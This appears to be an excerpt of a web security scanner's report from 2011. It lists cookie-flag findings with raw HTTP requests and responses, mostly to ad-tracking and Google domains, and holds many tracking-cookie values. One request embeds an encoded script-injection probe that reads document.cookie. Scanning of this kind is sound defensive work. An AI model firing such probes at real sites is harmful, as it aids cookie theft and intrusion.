vstcnt=3lebnns020r013ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z1l024fhux122p000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru00000000004esx7120104tej; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv129yk00e0l01040210d; rdrlst=20r0s7dpletz4d0000000a0l01040210ao2ylebnns0000000e0l01040210dmmnlebnns0000000e0l01040210dxo1lebnns0000000e0l01040210dx1blebnns0000000e0l01040210deh5lf17qf000000060l0104021066bylemlne0000000c0l01040210cw3clebnns0000000e0l01040210d7gmlebnns0000000e0l01040210djv6lebnns0000000e0l01040210dj4ilew2e2000000080l010402108xthlebnns0000000e0l01040210dfullf8gij000000020l010402102jillebnns0000000e0l01040210dfuqlegh2b0000000d0l01040210db6mlf17qk000000050l010402105mz1lebnns0000000e0l01040210dp7vlebnns0000000e0l01040210dxvslebnns0000000e0l01040210dxuklebnns0000000e0l01040210dx1jlebnns0000000e0l01040210djk7lebnns0000000e0l01040210dyiplebnns0000000e0l01040210dxwflebnns0000000e0l01040210dyh0lebnns0000000e0l01040210de4vlebnns0000000e0l01040210dxwblebnns0000000e0l01040210d; sglst=2100s8dtletz4d0000000a0l01040210aa70lebnns0000000e0l01040210d61gletz4d0000000a0l01040210a5b0lf17qo000000040l010402104ag2leqh190hzha00b0l01040210b82gletz4d0000000a0l01040210a9zdlebnns0ibgl00e0l01040210d82hlebnns0000000e0l01040210d5q7letz4d0000000a0l01040210aa6slebnns0ibgl00e0l01040210dachlebnns0000000e0l01040210d7x9lebnns0000000e0l01040210d820lebnns0000000e0l01040210dab4lebnns0ibgl00e0l01040210d9szlebnns0ibgl00e0l01040210d8wklebnns0ibgl00e0l01040210d923lebnns0ibgl00e0l01040210dahllebnns0000000e0l01040210d0tllegh2b0xgk100d0l01040210dal1letz4d0000000a0l01040210a8lllebnns0000000e0l01040210dabulebnns0000000e0l01040210d8bgletz4d0000000a0l01040210a7y2lebnns0000000e0l01040210d5q8lebnns0000000e0l01040210d40slebnns0000000e0l01040210d45mlfdxmc000000010l010401101a97lebnns0000000e0l01040210dah4lebnns0000000e0l01040210d3s4letz4d0000000a0l01040210a40uletz4d0000000a0l01040210aacdlebnns0000000e0l01040210daanlebnns0000000e0l01040210d9atlebnns0000000e0l01040210d86zlebnns0000000e0l01040210dac3letz4d0000000a0l01040210a
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /slrnface/ HTTP/1.1 Host: dave.willfork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:01:58 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny9 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:01:58 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: tu=5b32519ccc82f0294fbd5165fdf92ac0; expires=Tue, 31-Dec-2019 23:00:00 GMT; path=/; domain=willfork.com; httponly Vary: User-Agent,Accept-Encoding Content-Length: 6 Content-Type: text/html X-Cache: MISS from 533313 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /fimbid/?cachebuster=1295921111939Gck&cb=window[%22AIIcb%22]&sz=728x90&api=2&enc=1.1&est=b560d84a436c1f260f16c34efa66d8e3&l=52f2b867-a818-426d-a674-eefac27a73f6&ega=&neg=&pub=2094107610&pcat=29&ck=1&fl=1&d=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: delb.opt.fimserve.com Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pfuid=ClIoJk0pDkd8SnPo7AmDAg==; UI=284ab5a022ca529df|f..9.f.f.f.f@@f@@f@@f@@f@@f@@f; LO=00JW6MJ6I1c0G05B0010OPU; ssrtb=0
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://www.fimserve.com/p3p.xml",CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR DELa SAMa UNRa OTRa IND UNI PUR NAV INT DEM CNT PRE" Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: DMEXP=4; Domain=.opt.fimserve.com; Expires=Wed, 09-Feb-2011 02:05:10 GMT; Path=/ Set-Cookie: UI="284ab5a022ca529df|79973..9.fh.wx.f.488@@gc@@dzhsrmtglm@@-4_9@@hlugozbvi gvxsmloltrvh rmx_@@xln@@nrw zgozmgrx"; Domain=.opt.fimserve.com; Expires=Fri, 22-Jan-2021 02:05:10 GMT; Path=/ Set-Cookie: RTB=|2937.l.931830; Domain=delb.opt.fimserve.com; Expires=Tue, 01-Feb-2011 02:05:10 GMT; Path=/ Content-Type: text/html;charset=ISO-8859-1 Content-Length: 414 Date: Tue, 25 Jan 2011 02:05:10 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 HTTP/1.1 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/DataXuB3/Dominos/11Q1/Opt/120/1[timestamp]@x90 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:45 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: RMFM=011PhXovU106w2; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2584 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09499e2745525d5f4f58455e445a4a423660;path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?v=102&d=1&nwk=1&y=2&u=http%3A%2F%2Fwww.autobytel.com%2Fx22&r=http%3A%2F%2Fburp%2Fshow%2F31&rnd=989810 HTTP/1.1 Host: dp.specificclick.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: adp=780z^4^4095; smdmp=780z:1215201001^780z:201201001^780z:1012200938^780z:1011201009^77xf:99004015^77xe:99001525^77x6:99011769^75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; adf=780z^0^0; ug=uosDj9Liw_xRTA
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store,no-cache,must-revalidate Cache-Control: post-check=0,pre-check=0 Pragma: no-cache p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: adp=780z^4^4095; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Set-Cookie: smdmp=780z:1215201001^780z:201201001^780z:1012200938^780z:1011201009^77xf:99004015^77xe:99001525^77x6:99011769^75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Set-Cookie: adf=780z^0^0; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: nug=; Domain=.specificclick.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Content-Type: text/html Date: Mon, 24 Jan 2011 21:07:10 GMT Vary: Accept-Encoding Connection: Keep-Alive Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /red/psi/sites/www.abbreviations.com/p.json?callback=_ate.ad.hpr&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&ref=http%3A%2F%2Fburp%2Fshow%2F32&po6wxt HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%7D..1295452270.19F|1295378586.60|1293848200.66; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 350 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Mon, 24 Jan 2011 21:08:42 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Wed, 23 Feb 2011 21:08:42 GMT; Path=/ Set-Cookie: di=%7B%7D..1295452270.19F|1295903322.60|1293848200.66; Domain=.addthis.com; Expires=Wed, 23-Jan-2013 18:25:13 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Mon, 24 Jan 2011 21:08:42 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 21:08:42 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /fb/a/mailverify HTTP/1.1 Host: feedburner.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=UTF-8 Date: Mon, 24 Jan 2011 15:11:47 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Set-Cookie: S=feedburner-control-panel=WUwm58oBrG3PsoODTDjQ7A; Domain=.google.com; Path=/; HttpOnly Server: GSE Expires: Mon, 24 Jan 2011 15:11:47 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /group/alt.slack/msg/fa1fe1e3e6c31c9b/x22 HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /group/joomla-commits/topics HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groups?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /grphp HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: hairmakeup.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: howto.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /getuid HTTP/1.1 Host: ib.adnxs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Tue, 25-Jan-2011 22:36:29 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=1970530412525028204; path=/; expires=Sun, 24-Apr-2011 22:36:29 GMT; domain=.adnxs.com; HttpOnly Location: ...B Date: Mon, 24 Jan 2011 22:36:29 GMT Content-Length: 0 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /mapuid?member=364&user=914803576615380,rcHW800iZiMAAocf HTTP/1.1 Host: ib.adnxs.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/B3DM/DLX/1@x71 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: icu=EAAYAA..; sess=1; uuid2=4760492999213801733; anj=Kfu=8fG7*@E:3F.0s]#%2L_'x%SEV/hnK7#=G#<huqu*`^-sAq$WMQgDurvViCC?96j]`^R97vYErn/P%y7hV$-E>]QZwo$4KNAv/8Bif.W)@Ep8]r]Cyg_ofRS=83[A7^uy>nO*vPsV+<4T6e>%p9J?'OhPeH+Cb.*%ye8n70CgM50x.%X%nN!':o/2r24FH/[2b'Nk
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Wed, 26-Jan-2011 01:35:49 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Mon, 25-Apr-2011 01:35:49 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Mon, 25-Apr-2011 01:35:49 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Mon, 25-Apr-2011 01:35:49 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: anj=Kfu=8fG7*@E:3F.0s]#%2L_'x%SEV/hnK7#=G#<huqu*`^-sAq$WMQgDurvViCC?96j]`^R97vYErn/P%y7hV$-E>]QZwo$4KNAv/8Bif.W)@Ep8]r]Cyg_ofRS=83[A7^uy>nO*vPsV+<4T6e>%p9J?'OhPeH+Cb.*%ye8n70CgM50x.%X%nN!':o/2r24FH/[2b'Nk; path=/; expires=Mon, 25-Apr-2011 01:35:49 GMT; domain=.adnxs.com; HttpOnly Content-Length: 43 Content-Type: image/gif Date: Tue, 25 Jan 2011 01:35:49 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /seg?add=65890&t=2 HTTP/1.1 Host: ib.adnxs.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: icu=EAAYAA..; uuid2=4760492999213801733; anj=Kfu=8fG49EE:3F.0s]#%2L_'x%SEV/hnLCF=G#<huqu*`^-sAq$WUeUDuqkMr+c^Z(+ql_Y`mC^.fk]u+-ptW1B'#)'qHqWd-AGmScENVx-p:Y9b66ZCJLN[8yvY$hcwDwhp^RbpUUZcwln=gw`]wKC0A)'9Dj6XfCjr1a#[D:I(3<csJ3xssMdQ3gcc=Zx1u*B$99h/3z-gm
Response
HTTP/1.1 302 Found Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Wed, 26-Jan-2011 01:35:47 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Mon, 25-Apr-2011 01:35:47 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Mon, 25-Apr-2011 01:35:47 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: anj=Kfu=8fG7vhcvjr/?0P(*AuB-u**g1:XIEPGUMbNTs4#%DBZoIf(PA7vgjYL7Y-oMOJ=p+lV]xJ%3sbz?+-ptW1B'#)hgVCgQw>7'NF7uNVjSVPN^BPJ.^ZXwcsDU[n.KmyD0IP?EJtun(EQzz#'-BocTIpdXA^TyXBajZK%mtyOeCVqSq?#P0kc+J(5SDVB>Zk=; path=/; expires=Mon, 25-Apr-2011 01:35:47 GMT; domain=.adnxs.com; HttpOnly Location: http://redcated/ADO/view/278612728/direct;wi.1;hi.1/01 Date: Tue, 25 Jan 2011 01:35:47 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAAKBO9UY0zgnYsHCeZqjfAho.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://www.kbsp.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=ImC9hZaqf6E15jeFXzHEta1bUFSlTGsgCRWHYp2n3g=uRYxxjtBwki2Qqjt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=4845 HTTP/1.1 Host: idpix.media6degrees.com Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt1181qqxzt1181qqxzt1181qqxzt1181qq; vstcnt=3lebnns021l034e2061201181qq4fhux122q000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru0000000000000004esx7120104tej0r013ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv18e3v00g0o02050210f; orblb=2lfk1rn012dh10u0100000; rdrlst=2110s7dpletz4d0000000c0o02050210co2ylebnns0000000g0o02050210f10elfk1rn000000010o010501101mmnlebnns0000000g0o02050210fxo1lebnns0000000g0o02050210fx1blebnns0000000g0o02050210feh5lf17qf000000080o0205021086bylemlne0000000e0o02050210ew3clebnns0000000g0o02050210f7gmlebnns0000000g0o02050210fjv6lebnns0000000g0o02050210fj4ilew2e20000000a0o02050210axthlebnns0000000g0o02050210ffullf8gij000000040o02050210410flfk1rn000000010o0105011010c9lfk1rn000000010o010501101jillebnns0000000g0o02050210ffuqlegh2b0000000f0o02050210fb6mlf17qk000000070o020502107mz1lebnns0000000g0o02050210fcajlfk1rn000000010o010501101p7vlebnns0000000g0o02050210f7vglfk1rn000000010o010501101xvslebnns0000000g0o02050210f10elfk1rn000000010o01050110110rlfjpei000000020o020502102xuklebnns0000000g0o02050210fx1jlebnns0000000g0o02050210fjk7lebnns0000000g0o02050210fcbnlfk1rn000000010o010501101yiplebnns0000000g0o02050210fyh0lebnns0000000g0o02050210fxwflebnns0000000g0o02050210fe4vlebnns0000000g0o02050210f10elfk1rn000000010o010501101jwblfk1rn000000010o010501101xwblebnns0000000g0o02050210f; sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo000000060o020502106ag2leqh190tkqe00d0o02050210d82gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns181qq00g0o02050210f5q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000020o020502102820lebnns181qq00e0l000400100b0olfjpei000000020o020502102ab4lebnns181qq00g0o02050210f9szlebnns181qq00g0o02050210f8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b13kpc00f0o02050210fal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns181qq00e0l0004001007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei000000020o020502102b08lfjpei000000020o02050210240slebnns181qq00e0l00040010045mlfdxmc000000030o020502103a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: CP="COM NAV INT STA NID OUR IND NOI" Pragma: no-cache Cache-Control: no-cache Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: clid=2lebnns011706ch47d7o8wtv18fgn00h0o03050310g; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: orblb=2lfk1rn012dh10u0100000; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: rdrlst=20z0so2ylebnns0000000h0o03050310g7dpletz4d0000000d0o03050310d10flfk1rn000000020o020502102mmnlebnns0000000h0o03050310g10elfk1rn000000020o020502102x1blebnns0000000h0o03050310gxo1lebnns0000000h0o03050310geh5lf17qf000000090o0305031096bylemlne0000000f0o03050310fw3clebnns0000000h0o03050310g7gmlebnns0000000h0o03050310gjv6lebnns0000000h0o03050310gj4ilew2e20000000b0o03050310bxthlebnns0000000h0o03050310gfullf8gij000000050o0305031050c9lfk1rn000000020o020502102jillebnns0000000h0o03050310gfuqlegh2b0000000g0o03050310gb6mlf17qk000000080o030503108mz1lebnns0000000h0o03050310gcajlfk1rn000000020o020502102p7vlebnns0000000h0o03050310g7vglfk1rn000000020o020502102xvslebnns0000000h0o03050310g10rlfjpei000000030o030503103xuklebnns0000000h0o03050310gjk7lebnns0000000h0o03050310gx1jlebnns0000000h0o03050310gyiplebnns0000000h0o03050310gcbnlfk1rn000000020o020502102xwflebnns0000000h0o03050310gyh0lebnns0000000h0o03050310ge4vlebnns0000000h0o03050310gxwblebnns0000000h0o03050310gjwblfk1rn000000020o020502102; Domain=media6degrees.com; Expires=Sun, 24-Jul-2011 02:05:03 GMT; Path=/ Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo000000070o03050310782gletz4d0pqa500a0l000400100ag2leqh190tm3600e0o03050310e82hlebnns181qq00h0o03050310g9zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei000000030o030503103820lebnns181qq00e0l000400100b0olfjpei000000030o030503103ab4lebnns181qq00h0o03050310g9szlebnns181qq00h0o03050310g8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b13m2400g0o03050310gal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei000000030o0305031038bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns181qq00e0l000400100b08lfjpei000000030o03